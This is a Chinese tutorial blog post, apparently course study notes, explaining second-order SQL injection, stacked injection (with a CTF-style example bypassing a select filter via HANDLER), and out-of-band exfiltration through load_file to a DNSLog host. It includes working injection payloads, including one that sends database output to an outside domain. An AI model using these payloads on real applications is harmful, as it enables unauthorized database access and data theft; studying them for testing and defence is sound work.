小迪笔记 第四十五天 sql 注入进阶 :二次注入,堆叠注入,数据读取(load_file)加外带

二次注入

概念:就是我们注入的语句(刚注入时 不会产生影响)但是我们的恶意代码会进入数据库  他在被二次利用的时候就会进行执行  这个就是二次注入

这个的典型案例就是账号密码的修改 : 大家应该也知道 账号注册一般是禁止你使用恶意符号的是吧,那为什么呀?(文末有所用的源码和工具)

就是我们如果把账号 设置为   a' updatexml(1,concat(0x7e,database(),1) #

密码是123456

我们第一次登录  数据库执行 :   insert  into  admin(username,password)  values( '  a' updatexml(1,concat(0x7e,database),1) #  ' ,'123456')    那这样不直接就执行了吗?

其实我上一个文章  说到了一个就我们注入的时候   ' '  被改为了   \'\'  这个符号  这个就是转义字符

实际上我们的输入会被一个转义字符函数   或者php魔术方法

转义之后就成了

insert  into  admin(username,password)  values( '  a\' updatexml(1,concat(0x7e,database),1) \#  ' ,'123456') 

那这样还执行个毛啊

但是这个被保存到数据库之后  就会变为原样

演示:

我这边的数据库    是什么也没有的   那我们执行上边的语句看看什么情况   

执行: 没有执行但是插入到数据库了

当我们修改密码的时候那直接遭殃了    修改密码 有两个形式  : 1、知道密码的修改  2、忘记密码的修改 第二个在这就不会形成二次注入    

1修改密码的语句  : update users set password='新密码' where username='a' updatexml(1,concat(0x7e,database),1) #'                       注入上了呀   是吧  

演示一下  

我们输入的时候发现  什么情况账号输不进去啊  ?  这个就是长度的限制  我们看看是前端的限制还是后端的  

直接 F12  进行查看  一看是前端的限制  那我们直接改掉就行了

接着玩

修改密码  这边我们没执行sql语句啊   就是新旧密码的更改

执行一下 会直接返回我们的数据库名  

这个的危害还是很大的   但是需要的条件  1、转义字符函数(为了把恶意代码植入到数据库中)  2、不会对我们的账号进行特殊符号的限制

堆叠注入

这个比 or1=1 还简单  就是我们看一下 

我们在数据内连接执行了两个数据库的语句  我们去网站上试一试 那你看好了   

创建了一个库

那这是什么情况啊?    其实就是我们修改了一下

multi  就支持我们进行多个语句的执行   这个就是这个漏洞的条件  (但是说实话这个的作用不大 因为谁你妹的会开开这个?找干?)

演示一个例题 

这个就是堆叠注入

看一下源码  他说 Sqlmap没有灵魂那我就手工注入了

直接   ';show databases;  # 注入得到 数据库名

得到这个表   Select * from 上边那一串数字

想一想怎么绕过  这里我想的是直接全部  url 编码试一下能不能绕过  发现还是被 挡住了

那就只能上绝活了  这里  不让我们使用  select    那我们使用个别的   这个handler的作用和mysql 的select

1';handler `1919810931114514` open;handler `1919810931114514` read next;handler `1919810931114514` close;#

这里有个注意点就是  我们的这个  表名字  必须使用  ` ` 包裹呀   为什么使用反引号 呀  如果我们使用单引号  就会直接给我们当字符串处理了   详细的请看这个大佬的文章

sql注入前置知识(information_schema数据库,预处理,反引号和单引号的区别与用法)_schema+表名的反引号sql-CSDN博客

数据回显的外带

下边这个很牛 x解决不回显,反向连接,SQL注入,命令执行,SSRF     但是限制条件就是  

secure_file_priv=''

我们的带外  语句就是    and load_file(concat('//','version()','.3c2hay.dnslog.cn//1.txt'))

这个3c2hay.dnslog.cn  是我们的带外网站  DNSLog Platform

解释:  load_file  表示进行文件的读取   这个1.txt 可以随便写   // 两个这个是防止转义符的  

version()  是执行的语句      那有人问  '//'  这你妹的是什么意思啊?   这个是我们访问网站的一个前缀

试一下

接受数据

总结

以上三个方法  二次注入 :1、需要有转义符

2、堆叠注入       条件:需要开启 mutil 多sql语句执行

3、带外  需要 secure_file_priv='' 服务  

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/888964.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

双向链表容器

C中的list是一个双向链表容器&#xff0c;用于存储一系列的元素。它提供了在任意位置插入和删除元素的能力&#xff0c;同时还支持随机访问。 在C中&#xff0c;list是由标准模板库&#xff08;STL&#xff09;提供的容器之一。它位于<list>头文件中&#xff0c;并且通过…

正则表达式去除文本中括号()<>[]里的内容

一行文本中包含有各种括号&#xff0c;如()、<>、[]&#xff0c;我们希望把括号及括号内的内容0去除&#xff0c;可以通过正则表达式来实现。 匹配() pattern r\([^)]*\) # 匹配()匹配一个左括号(&#xff0c;然后匹配0个或多个不是右括号的任意字符[^)]*&#xff0c…

单击后移动至标记

单击后移动至标记 点击生成的表单之后&#xff0c;会在地图上自动的移动到改运动锻炼的位置 如何实现 实现这个我们肯定需要点击事件&#xff0c;但是我们需要去选取一个监听的类&#xff0c;我们使用事件委托的方式来创建这个点击事件&#xff1b; 实际代码 创建点击事件 …

C# 中的异常处理:构建健壮和可靠的程序

C#中的异常处理&#xff08;Exception Handling&#xff09;。异常处理是编程中非常重要的一部分&#xff0c;它允许开发者优雅地处理程序运行时可能出现的错误或意外情况。通过有效的异常处理&#xff0c;可以使应用程序更加健壮、可靠&#xff0c;并提供更好的用户体验。以下…

C# 中?. 和 ??

在 C# 中&#xff0c;?. 和 ?? 是两个不同的操作符&#xff0c;它们用于处理可能为 null 的对象。让我们分别解释这两个操作符以及它们的组合使用&#xff1a; 1. 可空类型 (?) 在 C# 中&#xff0c;? 用于定义可空值类型&#xff08;Nullable Value Types&#xff09…

[C++]继承

继承 概念使用方法继承方式子类的构造与析构 继承的成员继承成员在子类对象里的存放顺序成员变量普通成员变量静态成员变量 成员函数普通成员函数重定义&#xff08;隐藏&#xff09; 静态成员函数友元函数 单继承与多继承概念赋值转换&#xff08;切片&#xff09;多继承带来的…

机器人构建详解:售前售后服务客服机器人与广告生成机器人的微调数据处理方法

引言 大模型&#xff08;如BERT、GPT等&#xff09;在自然语言处理任务中展现了强大的能力&#xff0c;但为了使其更贴合特定应用场景&#xff0c;通常需要进行微调。本文将详细讲解如何为售前售后服务的客服机器人和广告生成机器人准备高质量的微调数据&#xff0c;并通过具体…

8.解决跨域问题的三种方案

开启域名&#xff0c;单点登录后&#xff0c;就使用最上面的接口了

全解:Redis RDB持久化和AOF持久化

&#x1f9d1; 博主简介&#xff1a;CSDN博客专家&#xff0c;历代文学网&#xff08;PC端可以访问&#xff1a;https://literature.sinhy.com/#/literature?__c1000&#xff0c;移动端可微信小程序搜索“历代文学”&#xff09;总架构师&#xff0c;15年工作经验&#xff0c;…

QILSTE H6-C210LB/5M高亮蓝光LED灯珠 发光二极管LED

在电子照明领域&#xff0c;H6-C210LB/5M&#xff0c;这款高亮蓝光LED&#xff0c;以其精确的参数和卓越的性能&#xff0c;脱颖而出。本文将通过增加文本的复杂性和长短句的交替使用&#xff0c;深入探讨这款LED的技术参数&#xff0c;以增强文章的困惑性和突发性。 **H6-C21…

使用 ASP.NET Core HttpLoggingMiddleware 记录 http 请求/响应

我们发布了一个应用程序&#xff0c;该应用程序运行在一个相当隐蔽的 WAF 后面。他们向我们保证&#xff0c;他们的产品不会以任何方式干扰我们的应用程序。这是错误的。他们删除了我们几乎所有的“自定义”标头。为了“证明”这一点&#xff0c;我构建了一个中间件&#xff0c…

回调机制详解

一、什么是回调&#xff1a; 回调是一种双向的调用模式&#xff0c;程序模块之间通过这样的接口调用完成通信联系&#xff0c;回调的核心就是回调方将本身即this传递给调用方&#xff0c;这样调用方就可以在调用完毕之后再告诉回调方它想要知道的信息。 回调函数用于层间协作&…

CUDA 计时功能,记录GPU程序/函数耗时,cudaEventCreate,cudaEventRecord,cudaEventElapsedTime

为了测试GPU函数的耗时&#xff0c;可以使用 CUDA 提供的计时功能&#xff1a;cudaEventCreate, cudaEventRecord, 和 cudaEventElapsedTime。这些函数可以帮助你测量某个 CUDA 操作&#xff08;如设置设备&#xff09;所花费的时间。 一、记录耗时案例 以下是一个示例程序&a…

ISO45001职业健康安全管理体系认证流程

前期准备 领导决策&#xff1a;企业高层领导需认识到实施 ISO 45001 体系的重要性和必要性&#xff0c;做出认证决策&#xff0c;并承诺提供必要的资源支持。成立工作小组&#xff1a;由企业各相关部门人员组成工作小组&#xff0c;明确各成员的职责和分工&#xff0c;确保工作…

异步操作,promise、axios

一、异步操作&#xff08;异步编程&#xff09;、同步操作 异步操作是指在编程中&#xff0c;某个任务的执行不会立即完成&#xff0c;同时不会阻塞后续代码的执行。在异步操作中&#xff0c;程序可以继续运行&#xff0c;并在异步任务完成时得到通知并处理结果。这与同步操作…

Ansible的yum和saltstack的哪个功能相似

Ansible的yum和saltstack的哪个功能相似 在 Ansible 和 SaltStack 中&#xff0c;Ansible 的 yum 模块 和 SaltStack 的 pkg 模块 功能相似。它们都用于管理软件包&#xff0c;支持安装、升级、删除和查询等操作。 Ansible 的 yum 模块 用途&#xff1a; 专门用于基于 Red Hat …

JVM 面试题相关总结

&#x1f9d1; 博主简介&#xff1a;CSDN博客专家&#xff0c;历代文学网&#xff08;PC端可以访问&#xff1a;https://literature.sinhy.com/#/literature?__c1000&#xff0c;移动端可微信小程序搜索“历代文学”&#xff09;总架构师&#xff0c;15年工作经验&#xff0c;…

【Django】在view中调用channel来主动进行websocket通信

前提&#xff1a;consumer中已经写好了建立连接的代码&#xff0c;并且能够成功把连接加入到通道层的组内 可以参考我的另一个博客&#xff1a; LuckySheet协同编辑后端示例(DjangoChannel,Websocket通信)_lucksheet 协同编辑-CSDN博客 我是懒得去折腾luckysheet的源码&…

Java 转 C之错误处理

提纲&#xff1a; 从 Java 转向 C 的错误处理概念概述Java 异常机制与 C 返回值/errno 的对比C 中错误处理的常用方式详解 函数返回值errno 全局错误码自定义错误码setjmp/longjmp 模拟异常 常见错误码列表&#xff08;POSIX 环境为例&#xff09;Java 与 C 的错误处理示例对比…

区块链签名种类

1. eth_sign 简介&#xff1a;最早实现的签名方法&#xff0c;用于对任意数据进行签名。签名内容&#xff1a;直接对原始消息的哈希值进行签名。特点&#xff1a; 安全性较低&#xff0c;因为签名的消息没有明确的上下文或结构。很容易被滥用&#xff0c;攻击者可以伪造签名内…